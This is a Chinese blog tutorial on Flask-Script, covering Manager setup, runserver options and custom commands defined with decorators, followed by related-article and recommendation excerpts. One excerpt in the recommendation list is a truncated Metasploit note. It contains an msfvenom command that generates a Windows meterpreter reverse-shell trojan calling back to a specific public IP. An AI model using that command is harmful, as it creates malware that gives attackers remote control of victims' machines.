其实本章就是为下一章做的铺垫啦,但是也要认真学习哦

Flask-Script 从字面意思上来看就是 Flask 的脚本

是的,熟悉Django的同学是否还记得Django的启动命令呢? python manager.py runserver 大概是这样对吧

其实Flask也可以做到,基于 Flask-Script 就可以了 - 但是你还是得有一个项目就是第十四章的项目 点击下载

1.安装 Flask-Script

  1. pip install Flask-Script

2.将 Flask-Script 加入到 Flask 项目中

  1. import MyApp
  2. # 导入 Flask-Script 中的 Manager
  3. from flask_script import Manager
  4.  
  5. app = MyApp.create_app()
  6. # 让app支持 Manager
  7. manager = Manager(app)
  8.  
  9. if __name__ == '__main__':
  10. #app.run()
  11. # 替换原有的app.run(),然后大功告成了
  12. manager.run()

MyApp/manager.py

3.使用命令启动 Flask 项目

  1. python manager.py runserver

4.启动项目并更改配置参数(监听IP地址,监听端口)

  1. python manager.py runserver -h 0.0.0.0 -p 9527

5.高级操作 - 自定制脚本命令

5.1.方式一 : @manager.command

  1. import MyApp
  2. # 导入 Flask-Script 中的 Manager
  3. from flask_script import Manager
  4.  
  5. app = MyApp.create_app()
  6. # 让app支持 Manager
  7. manager = Manager(app) # type:Manager
  8.  
  9. @manager.command
  10. def DragonFire(arg):
  11. print(arg)
  12.  
  13. if __name__ == '__main__':
  14. #app.run()
  15. # 替换原有的app.run(),然后大功告成了
  16. manager.run()

MyApp/manager.py

  1. python manager.py DragonFire 666

5.2.方式二 : @manager.opation("-短指令","--长指令",dest="变量名")

  1. import MyApp
  2. # 导入 Flask-Script 中的 Manager
  3. from flask_script import Manager
  4.  
  5. app = MyApp.create_app()
  6. # 让app支持 Manager
  7. manager = Manager(app) # type:Manager
  8.  
  9. @manager.command
  10. def DragonFire(arg):
  11. print(arg)
  12.  
  13. @manager.option("-n","--name",dest="name")
  14. @manager.option("-s","--say",dest="say")
  15. def talk(name,say):
  16. print(f"{name}你可真{say}")
  17.  
  18. if __name__ == '__main__':
  19. #app.run()
  20. # 替换原有的app.run(),然后大功告成了
  21. manager.run()

MyApp/manager.py

  1. python manager.py talk -n 赵丽颖 -s 漂亮
  2. python manager.py talk --name DragonFire --say NB-Class

Flask-Script 完结~

后续更精彩哦

Flask最强攻略 - 跟DragonFire学Flask - 第十五篇 Flask-Script的更多相关文章

  1. Flask最强攻略 - 跟DragonFire学Flask - 第七篇 Flask 中路由系统

    Flask中的路由系统其实我们并不陌生了,从一开始到现在都一直在应用 @app.route("/",methods=["GET","POST" ...

  2. Flask最强攻略 - 跟DragonFire学Flask - 第十六篇 Flask-Migrate

    终于到了Flask-Migrate,之前在学习Flask-SQLAlchemy的时候,有的同学就提过类似的问题,Flask支持 makemigration / migrate 吗? 答案在这里该诉你, ...

  3. Flask最强攻略 - 跟DragonFire学Flask - 第九篇 Flask 中的蓝图(BluePrint)

    蓝图,听起来就是一个很宏伟的东西 在Flask中的蓝图 blueprint 也是非常宏伟的 它的作用就是将 功能 与 主服务 分开怎么理解呢? 比如说,你有一个客户管理系统,最开始的时候,只有一个查看 ...

  4. Flask最强攻略 - 跟DragonFire学Flask - 第五篇 做一个用户登录之后查看学员信息的小例子

    需求: 1. 用户名: oldboy 密码: oldboy123 2. 用户登录成功之后跳转到列表页面 3. 失败有消息提示,重新登录 4.点击学生名称之后,可以看到学生的详细信息 后端: from ...

  5. Flask最强攻略 - 跟DragonFire学Flask - 第十四篇 Flask-SQLAlchemy

    前不久刚刚认识过了SQLAlchemy,点击这里复习一下 当 Flask 与 SQLAlchemy 发生火花会怎么样呢? Flask-SQLAlchemy就这么诞生了 首先要先安装一下Flask-SQ ...

  6. Flask最强攻略 - 跟DragonFire学Flask - 第三篇 Flask 中的 request 之 先知道有这么个东西

    每个框架中都有处理请求的机制(request),但是每个框架的处理方式和机制是不同的 为了了解Flask的request中都有什么东西,首先我们要写一个前后端的交互 基于HTML + Flask 写一 ...

  7. Flask最强攻略 - 跟DragonFire学Flask - 第一篇 你好,我叫Flask

    首先,要看你学没学过Django 如果学过Django 的同学,请从头看到尾,如果没有学过Django的同学,并且不想学习Django的同学,轻饶过第一部分 一. Python 现阶段三大主流Web框 ...

  8. Flask最强攻略 - 跟DragonFire学Flask - 第十篇 before_request after_request

    Flask我们已经学习很多基础知识了,现在有一个问题 我们现在有一个 Flask 程序其中有3个路由和视图函数,如下: from flask import Flask app = Flask(__na ...

  9. Flask最强攻略 - 跟DragonFire学Flask - 第八篇 实例化Flask的参数 及 对app的配置

    Flask 是一个非常灵活且短小精干的web框架 , 那么灵活性从什么地方体现呢? 有一个神奇的东西叫 Flask配置 , 这个东西怎么用呢? 它能给我们带来怎么样的方便呢? 首先展示一下: from ...

随机推荐

  1. Android打开各种类型的文件方法总结

    很简单,通过调用系统的intent,我们可以打开各种文件,不熟悉的朋友可以了解下action.datatype.uri的相关知识. 通用方法如下: public static Intent openF ...

  2. iOS - 提示用户升级版本并跳转到AppStore

    一.问题:自己做提示用户升级? 由于苹果做了自动升级,所有只要在应用程序中出现从AppStore检查版本更新,或者出现任何有关升级的提醒都会被拒,但是如果必须添加升级提示的话,可以配合后台通过添加AP ...

  3. 升级 Glide 4.0 版本相关配置

    http://blog.csdn.net/hexingen/article/details/72578066 http://blog.csdn.net/hexingen/article/details ...

  4. HttpSession的认识

    package javax.servlet.http; import java.util.Enumeration; import javax.servlet.ServletContext; publi ...

  5. 赶鸭子上架的cdq分治

    前置技能:归并排序,树状数组. cdq分治主要是用来离线解决一些奇怪的问题的.可以用来代替一些高级数据结构比如树套树或者KD-Tree之类的... 话说挑战2上的KD-Tree我到现在还没开始学... ...

  6. 有趣的JavaScript隐式类型转换

    JavaScript的数据类型是非常弱的(不然不会叫它做弱类型语言了)!在使用算术运算符时,运算符两边的数据类型可以是任意的,比如,一个字符串可以和数字相加.之所以不同的数据类型之间可以做运算,是因为 ...

  7. css3奇数偶数的伪属性

    <style> /*奇数*/ ul li:nth-child(odd){ background-color: green; } /*偶数*/ ul li:nth-child(even){ ...

  8. Msf的一些常用操作

    payload的几个常用生成 生成windows下的反弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPOR ...

  9. git 回滚指定行

    Stage the parts you want with git add -p, then discard (git checkout -- filename) the unstaged chang ...

  10. ubuntu下openssh升级

    因客户漏扫扫描出来openssh及openssl存在漏洞,现升级为官方最新版 这里选择编译安装 去官网下载: openssl-1.0.2o.tar.gz openssh7.7.1 zlib-1.2.1 ...